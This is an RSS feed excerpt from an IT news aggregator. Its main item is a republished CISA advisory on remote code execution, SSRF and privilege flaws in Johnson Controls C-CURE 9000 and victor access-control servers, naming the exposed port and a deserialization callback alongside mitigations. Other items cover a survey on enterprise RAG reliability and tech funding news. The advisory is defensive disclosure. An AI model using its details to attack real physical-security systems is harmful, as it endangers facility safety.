products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.
The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

C-CURE 9000 and victor]]></description>
<link>https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.</strong></p>
<p>The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:</p>
<ul>
<li>C-CURE 9000 and victor &lt;=v2.90_v3.0 </li>
<li>victor Web &lt;=v7.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Johnson Controls</td>
<td>Johnson Controls C-CURE 9000 and Victor application server</td>
<td>Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21655</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls C-CURE 9000 and victor: &lt;=v2.90_v3.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).</p>
<p><strong>Vendor fix</strong><br>Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21653</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;v7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34496</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;=v7.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Harrison Neal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Evaluating AI Agents: A production blueprint with Strands and AgentCore]]></title>
<description><![CDATA[Together, Motorway and AWS built an end-to-end evaluation pipeline that reduced incorrect results from 1 in 8 queries to 1 in 50 and cut issue detection time from few hours to few minutes. The pipeline combines the Strands Agents SDK with Amazon Bedrock AgentCore, a fully managed service for depl...]]></description>
<link>https://tsecurity.de/de/3689812/ai-nachrichten/evaluating-ai-agents-a-production-blueprint-with-strands-and-agentcore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689812/ai-nachrichten/evaluating-ai-agents-a-production-blueprint-with-strands-and-agentcore/</guid>
<pubDate>Thu, 23 Jul 2026 19:08:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Together, Motorway and AWS built an end-to-end evaluation pipeline that reduced incorrect results from 1 in 8 queries to 1 in 50 and cut issue detection time from few hours to few minutes. The pipeline combines the Strands Agents SDK with Amazon Bedrock AgentCore, a fully managed service for deploying and operating AI agents at scale. In this post, you will learn how to build this pipeline for your own agents.]]></content:encoded>
</item>
<item>
<title><![CDATA[Federal quantum bet grows with DARPA’s $125 million PsiQuantum award]]></title>
<description><![CDATA[Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to ac...]]></description>
<link>https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</guid>
<pubDate>Thu, 23 Jul 2026 17:13:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Defense research agency DARPA made its largest quantum computing award ever this week, with a <a href="https://www.psiquantum.com/news-import/psiquantum-signs-125-million-agreement-with-darpa">$125 million agreement</a> announced on Wednesday. The same day, the White House announced an <a href="https://www.whitehouse.gov/releases/2026/07/45502/">additional $5 billion for the Genesis Mission</a>, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.</p>



